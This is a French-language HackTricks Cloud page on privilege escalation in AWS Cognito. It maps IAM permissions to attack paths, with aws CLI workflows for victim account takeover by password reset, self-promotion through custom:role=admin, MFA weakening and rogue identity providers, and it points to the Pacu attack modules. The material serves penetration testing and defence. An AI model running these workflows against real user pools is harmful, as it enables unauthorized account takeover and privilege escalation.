AWS - Cognito Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

Cognito

Pour plus d’informations sur Cognito, consultez :

AWS - Cognito Enum

Récupération des identifiants depuis l’Identity Pool

Comme Cognito peut accorder des identifiants de rôle IAM à la fois aux utilisateurs authentifiés et aux utilisateurs non authentifiés, si vous localisez l’Identity Pool ID d’une application (il devrait y être codé en dur) vous pouvez obtenir de nouveaux identifiants et donc effectuer du privesc (dans un compte AWS où vous n’aviez probablement même aucun identifiant auparavant).

Pour plus d’informations consultez cette page.

Impact potentiel : privesc direct sur le rôle de service attaché aux utilisateurs non authentifiés (et probablement sur celui attaché aux utilisateurs authentifiés).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Avec cette permission vous pouvez accorder n’importe quel cognito role aux utilisateurs authentifiés/non authentifiés de l’application Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si l’application Cognito n’a pas les utilisateurs non authentifiés activés vous pourriez aussi avoir besoin de la permission cognito-identity:UpdateIdentityPool pour l’activer.

Impact potentiel : Privesc direct vers n’importe quel rôle Cognito.

cognito-identity:update-identity-pool

Un attaquant disposant de cette permission pourrait, par exemple, configurer un Cognito User Pool sous son contrôle ou tout autre fournisseur d’identité où il peut se connecter comme moyen d’accéder à ce Cognito Identity Pool. Ensuite, il suffit de se connecter auprès de ce fournisseur pour lui permettre d’accéder au authenticated role configuré dans l’Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Il est également possible d’abuser de cette permission pour autoriser l’authentification basique:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impact potentiel: Compromettre le rôle IAM authentifié configuré dans l’identity pool.

cognito-idp:AdminAddUserToGroup

Cette permission permet de ajouter un utilisateur Cognito à un groupe Cognito, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d’autres groupes avec des privilèges plus élevés ou des rôles IAM différents:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impact potentiel : Privesc vers d’autres Cognito groups et les IAM roles attachés aux User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaquant disposant de ces autorisations pourrait créer/mettre à jour des groupes avec tous les IAM roles pouvant être utilisés par un Cognito Identity Provider compromis et ajouter un utilisateur compromis au groupe pour accéder à tous ces rôles :

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impact potentiel : Privesc vers d’autres rôles IAM Cognito.

cognito-idp:AdminConfirmSignUp

Cette permission permet de vérifier une inscription. Par défaut, n’importe qui peut s’inscrire aux applications Cognito ; si cela reste activé, un utilisateur pourrait créer un compte avec n’importe quelles données et le vérifier avec cette permission.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impact potentiel : Privesc indirect vers le rôle IAM de l identity pool pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect sur d’autres fonctionnalités de l’application pouvant confirmer n’importe quel compte.

cognito-idp:AdminCreateUser

Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le user pool. Le nouvel utilisateur est créé activé, mais devra changer son mot de passe.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impact potentiel : Privesc direct vers l’identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d’autres fonctionnalités de l’application permettant de créer n’importe quel utilisateur

cognito-idp:AdminEnableUser

Cette permission peut aider dans un scénario très particulier où un attaquant a trouvé les identifiants d’un utilisateur désactivé et doit le réactiver.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impact potentiel : privesc indirect vers le rôle IAM de l’identity pool pour les utilisateurs authentifiés et les permissions de l’utilisateur si l’attaquant disposait des identifiants d’un utilisateur désactivé.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Cette permission permet de se connecter avec la method ADMIN_USER_PASSWORD_AUTH. Pour plus d’informations, suivez le lien.

cognito-idp:AdminSetUserPassword

Cette permission permettrait à un attaquant de définir un mot de passe connu pour n’importe quel utilisateur, entraînant généralement une prise de contrôle directe du compte (surtout si la victime n’a pas activé la MFA, ou si la MFA n’est pas appliquée au flux d’authentification / au client concerné).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Flux de travail courant :

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Permission liée : cognito-idp:AdminResetUserPassword peut être utilisée pour forcer un flux de réinitialisation pour une victime (l’impact dépend de la manière dont la récupération de mot de passe est implémentée et de ce que l’attaquant peut intercepter ou contrôler).

Impact potentiel : Prise de contrôle de comptes d’utilisateurs arbitraires ; accès aux privilèges au niveau applicatif (groups/roles/claims) et à tout ce qui fait confiance aux Cognito tokens en aval ; accès potentiel aux Identity Pool authenticated IAM roles.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings : Un attaquant pourrait potentiellement abuser de cette permission pour configurer un téléphone mobile sous son contrôle comme SMS MFA d’un utilisateur.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semblable au précédent, cette permission peut être utilisée pour définir les préférences MFA d’un utilisateur afin de contourner la protection MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similaire à la précédente, cette permission peut être utilisée pour définir les préférences MFA d’un user pool afin de contourner la protection MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Il est aussi possible de mettre à jour le user pool pour changer la politique MFA. Check cli here.

Impact potentiel: privesc indirecte vers potentiellement tout utilisateur dont l’attaquant connaît les identifiants, ceci pourrait permettre de contourner la protection MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaquant disposant de cette permission peut modifier tout attribut mutable d’un utilisateur du User Pool (y compris les attributs custom:*) afin d’essayer d’obtenir des privilèges dans une application sous-jacente.

Un schéma courant à fort impact est le RBAC basé sur les claims implémenté en utilisant des attributs personnalisés (par exemple custom:role=admin). Si l’application fait confiance à cette assertion, la mettre à jour puis se ré-authentifier peut contourner l’autorisation sans modifier l’application.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Exemple : escalader votre propre rôle et rafraîchir les tokens :

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Impact potentiel : Escalade de privilèges indirecte dans des applications faisant confiance aux attributs/claims de Cognito pour l’autorisation ; possibilité de modifier d’autres attributs importants pour la sécurité (par exemple définir email_verified ou phone_number_verified à true peut avoir une importance dans certaines applications).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaquant disposant de cette permission pourrait créer un nouveau User Pool Client moins restreint que les clients de pool déjà existants. Par exemple, le nouveau client pourrait autoriser n’importe quelle méthode d’authentification, ne pas avoir de secret, avoir la révocation des tokens désactivée, permettre aux tokens d’être valides plus longtemps…

La même chose peut être faite si, au lieu de créer un nouveau client, un client existant est modifié.

Dans la command line (ou le update one) vous pouvez voir toutes les options — consultez-les !

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impact potentiel: Possibilité de privesc indirecte de l’utilisateur autorisé de l’Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu’il a pu créer.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléversant un CSV contenant de nouveaux utilisateurs.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Dans le cas où vous créez un nouveau import job vous pourriez aussi avoir besoin de la permission iam passrole, je ne l’ai pas encore testée).

Impact potentiel : Privesc direct vers le identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d’autres fonctionnalités de l’application permettant de créer n’importe quel utilisateur.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaquant pourrait créer un nouveau identity provider pour ensuite pouvoir login through this provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impact potentiel : privesc direct sur le rôle IAM de l’identity pool pour les utilisateurs authentifiés. Privesc indirect sur d’autres fonctionnalités de l’application pouvant créer n’importe quel utilisateur.

cognito-sync:* Analyse

C’est une permission très courante par défaut dans les rôles des Cognito Identity Pools. Même si un wildcard dans une permission paraît toujours mauvais (surtout venant d’AWS), les permissions données ne sont pas très utiles du point de vue d’un attaquant.

Cette permission permet de lire des informations utilisateur des Identity Pools et des Identity IDs à l’intérieur des Identity Pools (ce qui n’est pas une information sensible).
Les Identity IDs peuvent avoir des Datasets qui leur sont assignés, ce sont des informations de session (AWS le définit comme un saved game). Il est possible que cela contienne une forme d’information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la page d’énumération comment accéder à ces informations.

Un attaquant pourrait également utiliser ces permissions pour s’enregistrer sur un Cognito stream qui publie des changements sur ces datasets ou une lambda qui se déclenche sur des cognito events. Je n’ai pas vu cela utilisé, et je n’attendrais pas d’informations sensibles ici, mais ce n’est pas impossible.

Outils automatiques

• Pacu, the AWS exploitation framework, inclut désormais les modules “cognito__enum” et “cognito__attack” qui automatisent l’énumération de tous les assets Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d’accès, etc., et automatisent aussi la création d’utilisateurs (y compris le support MFA) et l’escalade de privilèges basée sur des attributs personnalisés modifiables, des credentials d’identity pool utilisables, des rôles assumables dans les id tokens, etc.

Pour une description des fonctions des modules, voir la partie 2 du blog post. Pour les instructions d’installation, voir la page principale Pacu.

Utilisation

Exemple d’utilisation de cognito__attack pour tenter la création d’utilisateur et tous les vecteurs de privesc contre un identity pool et un user pool client donnés :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d’utilisation de cognito__enum pour récupérer tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum

• Cognito Scanner est un outil CLI en python qui implémente différentes attaques contre Cognito, y compris une privesc escalation.

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d’informations, consultez https://github.com/padok-team/cognito-scanner

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.